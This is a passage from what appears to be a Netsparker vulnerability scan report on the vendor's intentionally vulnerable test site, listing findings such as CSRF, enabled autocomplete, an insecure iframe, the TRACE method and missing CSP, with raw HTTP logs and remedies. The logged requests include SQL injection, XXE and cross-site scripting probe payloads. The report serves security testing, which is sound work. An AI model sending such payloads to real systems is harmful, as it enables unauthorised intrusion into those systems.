Date: Mon, 13 Jul 20

id="content">
<div class="post">
<h2 class="title"><a href="#">Products </a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>
<form action="/nslookup.php"method="POST">
<table class="databases">
<tr>
<td colspan="3">
</td>
</tr>
<tr>
<

13.2. http://php.testsparker.com/nslookup.php
MethodParameterValue
POSTparam

Certainty



Go to the highlighted output

Request

POST /nslookup.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 6
Content-Type: application/x-www-form-urlencoded
Referer: http://php.testsparker.com/nslookup.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

param=

Response

Response Time (ms) : 778.1168
Total Bytes Received : 4122
Body Length : 3954
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3954
Content-Type: text/html
Date: Mon, 13 Jul 20

id="content">
<div class="post">
<h2 class="title"><a href="#">Products </a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>
<form action="/nslookup.php"method="POST">
<table class="databases">
<tr>
<td colspan="3">
</td>
</tr>
<tr>
<

Remedy

  • Send additional information in each HTTP request that can be used to determine whether the request came from an authorized source. This "validation token" should be hard to guess for attacker who does not already have access to the user's account. If a request is missing a validation token or the token does not match the expected value, the server should reject the request.

  • If you are posting form in ajax request, custom HTTP headers can be used to prevent CSRF because the browser prevents sites from sending custom HTTP headers to another site but allows sites to send custom HTTP headers to themselves using XMLHttpRequest.

    • For native XMLHttpRequest (XHR) object in JavaScript;
      xhr = new XMLHttpRequest();
      xhr.setRequestHeader('custom-header', 'valueNULL');
      
      For JQuery, if you want to add a custom header (or set of headers) to

      a. individual request

      $.ajax({
          url: 'foo/bar',
          headers: { 'x-my-custom-header': 'some value' }
      });
      

      b. every request

      $.ajaxSetup({
          headers: { 'x-my-custom-header': 'some value' }
      });
      OR
      $.ajaxSetup({
          beforeSend: function(xhr) {
              xhr.setRequestHeader('x-my-custom-header', 'some value');
          }
      });
      

External References

Remedy References

CLASSIFICATION

WASC9

14. Autocomplete is Enabled

LOW
6
CONFIRMED
6

Netsparker detected that Autocomplete is Enabled in one or more of the form fields which might contain sensitive information like "username", "credit card" or "CVV".

Impact

If user chooses to save, data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers, such as cyber cafes or airport terminals.

Vulnerabilities

14.1. http://php.testsparker.com/auth/
CONFIRMED
CONFIRMED
MethodParameterValue
GETUser-Agent(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

Identified Field Name

  • username
Go to the highlighted output

Request

GET /auth/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
X-Scanner: Netsparker

Response

Response Time (ms) : 306.0468
Total Bytes Received : 3521
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=4
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:30 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

h1 class="title"><a href="#">Login Area</a></h1>
<p>
Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="

14.2. http://php.testsparker.com/auth/control.php
CONFIRMED
CONFIRMED
MethodParameterValue
POSTusername%27
POSTtoken30556
POSTpassword

Identified Field Name

  • username
Go to the highlighted output

Request

POST /auth/control.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/login.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

username=%2527&token=30556&password=

Response

Response Time (ms) : 564.578
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=27
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:07:58 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

h1 class="title"><a href="#">Login Area</a></h1>
<p>
Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="

14.3. http://php.testsparker.com/auth/control.php
CONFIRMED
CONFIRMED
MethodParameterValue
GETUser-Agent(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

Identified Field Name

  • username
Go to the highlighted output

Request

GET /auth/control.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/login.php
User-Agent: (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
X-Scanner: Netsparker

Response

Response Time (ms) : 305.4569
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=40
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:08:16 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

h1 class="title"><a href="#">Login Area</a></h1>
<p>
Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="

14.4. http://php.testsparker.com/auth/login.php
CONFIRMED
CONFIRMED

Identified Field Name

  • username
Go to the highlighted output

Request

GET /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 3765.1264
Total Bytes Received : 3530
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7; path=/
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 3161
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:56 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

h1 class="title"><a href="#">Login Area</a></h1>
<p>
Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="

14.5. http://php.testsparker.com/auth/login.php
CONFIRMED
CONFIRMED

Identified Field Name

  • username
Go to the highlighted output

Request

POST /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 124
Content-Type: application/xml
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "data:;base64,TlM3NzU0NTYxNDQ2NTc1">]><ns>&lfi;</ns>

Response

Response Time (ms) : 467.5789
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=99
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:50 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

h1 class="title"><a href="#">Login Area</a></h1>
<p>
Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="

14.6. http://php.testsparker.com/auth/login.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000CA2)%3C/scRipt%3E
CONFIRMED
CONFIRMED
MethodParameterValue
GETURI-BASED/'"--></style></scRipt><scRipt>netsparker(0x000CA2)</scRipt>

Identified Field Name

  • username
Go to the highlighted output

Request

GET /auth/login.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000CA2)%3C/scRipt%3E HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 129.1733
Total Bytes Received : 3521
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=47
Content-Length: 3161
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:57 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

h1 class="title"><a href="#">Login Area</a></h1>
<p>
Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="

Actions to Take

  1. Add the attribute autocomplete="off"to the form tag or to individual "input" fields. However, since early 2014, major browsers don't respect this instruction, due to their integrated password management mechanism, and offer to users to store password internally.
  2. Find all instances of inputs that store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords; however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure all of the fixes have been applied properly.

Required Skills for Successful Exploitation

First and foremost, attacker needs either physical access or user-level code execution rights for successful exploitation. Dumping all data from a browser can be fairly easy, and a number of automated tools exist to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the autocomplete feature to see previously entered values.

CLASSIFICATION

WASC15

15. Insecure Frame (External)

LOW
1
CONFIRMED
1

Netsparker identified an external insecure or misconfigured iframe.

Impact

IFrame sandboxing enables a set of additional restrictions for the content within a frame in order to restrict its potentially malicious code from causing harm to the web page that embeds it.


The Same Origin Policy (SOP) will prevent JavaScript code from one origin from accessing   properties and functions - as well as HTTP responses - of different origins. The access is only allowed if the protocol, port and also the domain match exactly.

Here is an example, the URLs below all belong to the same origin as http://site.com:        

http://site.com
http://site.com/
http://site.com/my/page.html

Whereas the URLs mentioned below aren't from the same origin as http://site.com:

http://www.site.com  (a sub domain)
http://site.org      (different top level domain)
https://site.com  (different protocol)
http://site.com:8080  (different port)

When the sandboxattribute is set, the iframe content is treated as being from a unique origin, even if its hostname, port and protocol match exactly. Additionally, sandboxed content is re-hosted in the browser with the following restrictions:

  • Any kind of plugin, such as ActiveX, Flash, or Silverlight will be disabled for the iframe.
  • Forms are disabled. The hosted content is not allowed to make forms post back to any target.
  • Scripts are disabled. JavaScript is disabled and will not execute.
  • Links to other browsing contexts are disabled. An anchor tag targeting different browser levels will not execute.
  • Unique origin treatment. All content is treated under a unique origin. The content is not able to traverse the DOM or read cookie information.


When the sandboxattribute is not set or not configured correctly, your application might be at risk.


A compromised website that is loaded in such an insecure iframe might affect the parent web application. These are just a few examples of how such an insecure frame might affect its parent:

  • It might trick the user into supplying a username and password to the site loaded inside the iframe.
  • It might navigate the parent window to a phishing page.
  • It might execute untrusted code.
  • It could show a popup, appearing to come from the parent site.


Sandboxcontaining a value of :

  • allow-same-originwill not treat it as a unique origin.
  • allow-top-navigationwill allow code in the iframe to navigate the parent somewhere else, e.g. by changing parent.location.
  • allow-formswill allow form submissions from inside the iframe.
  • allow-popupswill allow popups.
  • allow-scriptswill allow malicious script execution however it won't allow to create popups.

Vulnerabilities

15.1. http://php.testsparker.com/process.php?file=Generics/contact.nsp
CONFIRMED
CONFIRMED
MethodParameterValue
GETfileGenerics/contact.nsp

Frame Source(s)

  • http://maps.google.com/maps?q=mavituna+security&output=embed

Parsing Source

  • DOM Parser
Go to the highlighted output

Request

GET /process.php?file=Generics/contact.nsp HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 254.901
Total Bytes Received : 3651
Body Length : 3483
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3483
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header -->
<div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">



<div class="entry">
<h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
<p>

<iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
</iframe>




<strong><br />Test&Demonstration Site Ltd
<br />(reg. no. 123456)</strong><br />
<p>
Green House,
3478 Stone QX
Dos Tringulas
EK7 AP0<br />
USA<br />
</p>

<p>
<span>Tel: +44 123 456 7890</span><br />
<span>Fax: +44 123 456 7891</span></p>
<p>

<p>
E-mail: test@testsparker.com</b></a></p>
</p>


Remedy

  • Apply sandboxing in inline frame
    <iframe sandbox src="framed-page-url"></iframe>
    
  • For untrusted content, avoid the usage of seamlessattribute and allow-top-navigation, allow-popupsand allow-scriptsin sandbox attribute.

External References

Remedy References

CLASSIFICATION

WASC15

16. TRACE/TRACK Method Detected

LOW
1

Netsparker detected the TRACE/TRACK method is allowed.

Impact

It is possible to bypass the HttpOnly cookie limitation and read the cookies in a cross-site scripting attack by using the TRACE/TRACK method within an XmlHttpRequest. This is not possible with modern browsers, so the vulnerability can only be used when targeting users with unpatched and old browsers.

Vulnerabilities

16.1. http://php.testsparker.com/
MethodParameterValue
TRACEURI-BASED

Certainty



Go to the highlighted output

Request

TRACE / HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-NS: N8244718S
X-Scanner: Netsparker

Response

Response Time (ms) : 254.5163
Total Bytes Received : 597
Body Length : 445
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Type: message/http
Transfer-Encoding: chunked
Date: Mon, 13 Jul 2020 07:04:58 GMT

TRACE / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
X-NS: N8244718S
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

Remedy

Disable this method in all production systems. Even though the application is not vulnerable to cross-site scripting, a debugging feature such as TRACE/TRACK should not be required in a production system and therefore should be disabled.

External References

CLASSIFICATION

WASC14

17. Content Security Policy (CSP) Not Implemented

BEST PRACTICE
11

CSP is an added layer of security that helps to mitigate mainly Cross-site Scripting attacks.

CSP can be enabled instructing the browser with a Content-Security-Policy directive in a response header;

Content-Security-Policy: script-src 'self';

or in a meta tag;

<meta http-equiv="Content-Security-Policy" content="script-src 'self';"> 

In the above example, you can restrict script loading only to the same domain. It will also restrict inline script executions both in the element attributes and the event handlers. There are various directives which you can use by declaring CSP:

  • script-src:Restricts the script loading resources to the ones you declared. By default, it disables inline script executions unless you permit to the evaluation functions and inline scripts by the unsafe-eval and unsafe-inline keywords.
  • base-uri:Base element is used to resolve relative URL to absolute one. By using this CSP directive, you can define all possible URLs which could be assigned to base-href attribute of the document.
  • frame-ancestors: It is very similar to X-Frame-Options HTTP header. It defines the URLs by which the page can be loaded in an iframe.
  • frame-src / child-src: frame-src is the deprecated version of child-src. Both define the sources that can be loaded by iframe in the page. (Please note that frame-src was brought back in CSP 3)
  • object-src: Defines the resources that can be loaded by embedding such as Flash files, Java Applets.
  • img-src: As its name implies, it defines the resources where the images can be loaded from.
  • connect-src: Defines the whitelisted targets for XMLHttpRequest and WebSocket objects.
  • default-src: It is a fallback for the directives that mostly ends with -src suffix. When the directives below are not defined, the value set to default-src will be used instead:
    • child-src
    • connect-src
    • font-src
    • img-src
    • manifest-src
    • media-src
    • object-src
    • script-src
    • style-src

When setting the CSP directives, you can also use some CSP keywords:

  • none: Denies loading resources from anywhere.
  • self : Points to the document's URL (domain + port).
  • unsafe-inline: Permits running inline scripts.
  • unsafe-eval: Permits execution of evaluation functions such as eval().

In addition to CSP keywords, you can also use wildcard or only a scheme when defining whitelist URLs for the points. Wildcard can be used for subdomain and port portions of the URLs:

Content-Security-Policy: script-src https://*.example.com;
Content-Security-Policy: script-src https://example.com:*;
Content-Security-Policy: script-src https:;

It is also possible to set a CSP in Report-Only mode instead of forcing it immediately in the migration period. Thus you can see the violations of the CSP policy in the current state of your web site while migrating to CSP:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri: https://example.com;

Impact

There is no direct impact of not implementing CSP on your website. However, if your website is vulnerable to a Cross-site Scripting attack CSP can prevent successful exploitation of that vulnerability. By not implementing CSP you’ll be missing out this extra layer of security.

Vulnerabilities

17.1. http://php.testsparker.com/

Certainty



Go to the highlighted output

Request

GET / HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 690.8972
Total Bytes Received : 367
Body Length : 144
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: Keep-Alive
Keep-Alive: timeout=5, max=150
Content-Length: 144
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:46 GMT

<html>
<HEAD>
<SCRIPT language="JavaScript">
<!--
window.location="process.php?file=Generics/index.nsp";
//-->
</SCRIPT>
</HEAD>
</html>
17.2. http://php.testsparker.com/artist.php?id=3
MethodParameterValue
GETid3

Certainty



Go to the highlighted output

Request

GET /artist.php?id=3 HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 170.017
Total Bytes Received : 3319
Body Length : 3151
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3151
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><link type="text/css" href="/Generics/style.css" rel="stylesheet"/>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

<h3>Results: 3</h3></br>

<table class="container"><thead><th>ID</th><th>Name</th><th>SURNAME</th><th>CREATION DATE </th></thead><tbody><tr class="odd">
<td>3 </td>
<td>ED </td>
<td>CHASE </td>
<td>2006-02-15 04:34:33 </td>
<td> </td>
</tr>
</tbody></table> </p>

</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search" >
<form method="get" action="artist.php">


17.3. http://php.testsparker.com/function.mysql-connect

Certainty



Go to the highlighted output

Request

GET /function.mysql-connect HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/about.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 126.8606
Total Bytes Received : 482
Body Length : 313
Is Compressed : No
HTTP/1.1 404 Not Found
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 313
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 13 Jul 2020 07:04:53 GMT

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /function.mysql-connect was not found on this server.</p>
<hr>
<address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
</body></html>
17.4. http://php.testsparker.com/Generics/

Certainty



Go to the highlighted output

Request

GET /Generics/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 129.2287
Total Bytes Received : 248
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 0
Last-Modified: Tue, 11 Feb 2020 14:14:32 GMT
Accept-Ranges: bytes
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT
ETag: "960000000191b3-0-59e4d798bb6f6"

17.5. http://php.testsparker.com/hello.php?name=Visitor
MethodParameterValue
GETnameVisitor

Certainty



Go to the highlighted output

Request

GET /hello.php?name=Visitor HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 432.6624
Total Bytes Received : 3161
Body Length : 2993
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2993
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h1 class="title"><a href="#">Hello Service </a></h1>
<p>
Hello Visitor<br />
